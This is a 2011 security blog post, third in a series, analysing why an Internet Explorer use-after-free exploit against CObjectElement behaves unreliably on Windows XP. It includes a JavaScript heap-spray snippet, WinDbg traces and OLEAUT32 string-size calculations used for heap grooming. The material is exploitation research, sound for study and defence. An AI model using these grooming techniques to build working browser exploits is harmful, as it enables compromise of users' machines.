quarta-feira, 2 de novembro de 2011

Diaries of a Vulnerability – take 3


Pray after free and use after pray.

 
Ok, I’m long overdue on this post, I know. The reason I procrastinated this so much was because the subject of this post was not important to the exploit described in the first posts of the diary, but I consider that it might be important on other exploits you might be creating. So here it is.
Let’s first review some history: the size of the exploitable “use-after-free” CObjectElement object was 0xE0. Also, the heap allocator kept all objects of the same size in the same heap sub-segment. So, all we needed to do was to fill a full segment of any other kind of object as long as it had the same size, and as soon as we tried to reuse the freed memory, an object of that memory segment would the reused. This was done with the unescape and substr javascript native functions where strings of that particular size, having content controlled by us, were allocated. But javascript strings are handled by OLE, so when we call:
 
  var size1 = (0xd8/2)-3;
  var arrSize1 = 2000;
  var obj_overwrite2 = unescape("%u0e0e");
  while(obj_overwrite2.length < size1)
    { obj_overwrite2 += obj_overwrite2; }
  obj_overwrite2 = obj_overwrite2.substr(0, size1);

 
We’re internally calling OLE:

ChildEBP RetAddr 
01a5f694 41542d59 OLEAUT32!SysAllocStringByteLen+0x28
01a5f6ac 75c1d101 IEFRAME!Detour_SysAllocStringByteLen+0x13
01a5f6c4 75c15636 jscript!PvarAllocBstrByteLen+0x2a
01a5f734 75c15ff7 jscript!JsStrSubstrCore+0x176
01a5f754 75c241e5 jscript!JsStrSubstr+0x1b
01a5f78c 75c2145c jscript!NatFncObj::Call+0x41

This is important to keep in mind because of the transformations that our strings are subjected to. These transformations were observed by Alex Sotirov in his javascript Heap Library implementation and that’s the reason of the initial calculations of the size1 variable. Divide by 2 to account for the Unicode transformation, and subtract 3 to account for the added string metadata info.

If you remember from take 2 of the diaries, I referred that a friend of mine was unable to successfully run the exploit. Well, the reason of this is that my friend was running Windows XP SP2 with Internet Explorer 8. Why is this relevant? Because of the heap allocator type used by Internet Explorer in this OS version, and the way OLE makes use of it. The old heap allocator mixes all the allocations, leaving no memory chunks separation by segmentation usage. This sounds better than LFH. But for this, we need a new approach; we need to be able to manipulate the LAL lists. What about OLE? OLE maintains a global heap variable in memory, but the heap used is the default process heap; the same as mshtml.dll uses for object allocation, so we’re safe from the OLE point of view. So, why is it still not working?

 Figure 1: OLE heap global variable.

!heap
Index   Address  Name      Debugging options enabled
  1:   00150000               
  2:   00250000               

!heap 00150000               
Index   Address  Name      Debugging options enabled
  1:   00150000
    Segment at 00150000 to 00250000 (00100000 bytes committed)
    Segment at 01dd0000 to 01ed0000 (00100000 bytes committed)
    Segment at 028a0000 to 02aa0000 (00085000 bytes committed)

CObjectElement:addr[00237278]
 CTreeNode:node[0024dc08]
 CObjectElement:addr[00237278]
 CTreeNode:node[0024d848]
 CObjectElement:addr[00237278]
 CTreeNode:node[0024db08]
 CObjectElement:addr[00237278]
 CTreeNode:node[0024dac8]
 CTreeNode:node[0024dc08]
 CTreeNode:node[0024d848]
 CTreeNode:node[0024db08]
 CTreeNode:node[0024dac8]
 String:addr[01dd6fdc]size[000000d2]
 String:addr[0023727c]size[000000d2]
 String:addr[00237364]size[000000d2]
 String:addr[0023744c]size[000000d2]
 String:addr[00237534]size[000000d2]
 String:addr[0023761c]size[000000d2]
 String:addr[00237704]size[000000d2]
 String:addr[002377ec]size[000000d2]
 String:addr[029113cc]size[000000d2]
 String:addr[0291176c]size[000000d2]
 String:addr[02911854]size[000000d2]
 String:addr[0291193c]size[000000d2]
 String:addr[02922a04]size[00000006]
...
 String:addr[01ec88cc]size[00000006]
 String:addr[01ec85cc]size[00000006]
 String:addr[001535ac]size[00000006]
 String:addr[028a09f4]size[000001e6]
 CTreeNode:node[0024d408]
 CTreeNode:node[0024d708]
 CObjectElement:addr[01ecf410]
 CTreeNode:node[0024d8c8]
 CObjectElement:addr[01ecf410]
 CObjectElement:addr[02910f40]
 CTreeNode:node[0024dc08]
 CObjectElement:addr[02910f40]

In the above (resumed) trace we’re allocating about 2000 strings, each sized 0xD8, in Windows XP, and freeing the last 500 odd strings. If you’re wondering why the size is printed 0xD2, keep reading. Notice the difference between the CObjectElement object addresses and the allocated string addresses. The CObjectElement object addresses get near but never reuse any of the string freed addresses. It looks like the approach of allocating objects of the same size as the freed object; to try to influence the LAL cache is useless. Being so, this memory fence makes it very hard for the exploitation process, as the heap spraying needs to be pretty disseminated thru the memory space. Why?
I noticed an interesting thing in my friend’s machine; the CObjectElement is 0xD8 bytes in size:

 Figure 2: Allocation of a CObjectElement in XP2

When OLE allocates a buffer for a string, it transforms the string requested size. The following calculations are done by SysAllocStringByteLen in Windows XP and by CbSysStringSize in Windows 7:

NewSize = (RequestedSize+0x15) && 0xfffffff0

 Figure 3: OLE buffer calculation in XP.

The result size that is going to be allocated by the heap manager thru OLEAUT32!APP_DATA::AllocCachedMem, must be a multiple of 16. When performing these calculations the requested size to OLE will correspond to our original object size minus 6. Applying these constraints to our two buffer sizes we get:

Size=0xE0 -> RequestSize = 0xE0-6 = 0xDA; (0xDA+0x15)&0xfffffff0 = 0xE0
Size=0xD8 -> RequestSize = 0xD8-6 = 0xD2; (0xD2+0x15)&0xfffffff0 = 0xE0

If we need to create a string sized 0xD8, we would fail to do so as the next nearest lower valid buffer size would be 0xD0. For the exploit, this is a terrible thing. In Windows Vista and above, the exploit depends on the allocation of memory chunks of the same size of our freed object, as it needs to land on the same heap sub-segment for it to control the EIP reliably. If the strings we’re creating are going to other sub-segments, all we can do is pray that whatever value goes to our freed object address may resemble one of the various heap sub-segment addresses available, filled with controlled data strings. 
 
 Figure 4: OLE buffer calculation in Windows 7.

bp oleaut32!SysAllocStringByteLen

dc esp
022ccf60  6cb0a0b7 00000000 000000d2 00000000  ...l............
022ccf70  000000d2 6cb05b0f e65b365c 022cd364  .....[.l\6[.d.,.

pt
eax=004c2c0c ebx=000000d2 ecx=779d2fe7 ..
eip=7759478e esp=022ccf48 ebp=022ccf5c ..
cs=001b  ss=0023  ds=0023  ..
OLEAUT32!SysAllocStringByteLen+0x6e:
7759478e c20800          ret     8

!heap -x 004c2c0c 
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
004c2c00  004c2c08  00400000  00484720        e8      -            8  LFH;busy
As a final example, let’s reduce the size of the string to 0xD0:

var size1 = (0xd0/2)-3;

And observe the size of the heap chunk:

String:addr[004a943c]size[000000ca]

!heap -x 004a943c
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
004a9430  004a9438  003b0000  00432610        d8      -            8  LFH;busy

We’re jumping 16 bytes, which validates our findings. Alex Sotirov also found this. If you search heapLib for allocOleaut32 function implementation, you will find this:

    // Make sure that the size is valid
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

In conclusion, the symptoms are easily identified, its behavior is erratic. Sometimes it works, sometimes it doesn’t. And, as you can see, the effort for phase one exploit is much greater and unpredictable. Hence, we prefer to call it a “Use after pray” exploit instead.

Hope you enjoyed.

Sem comentários: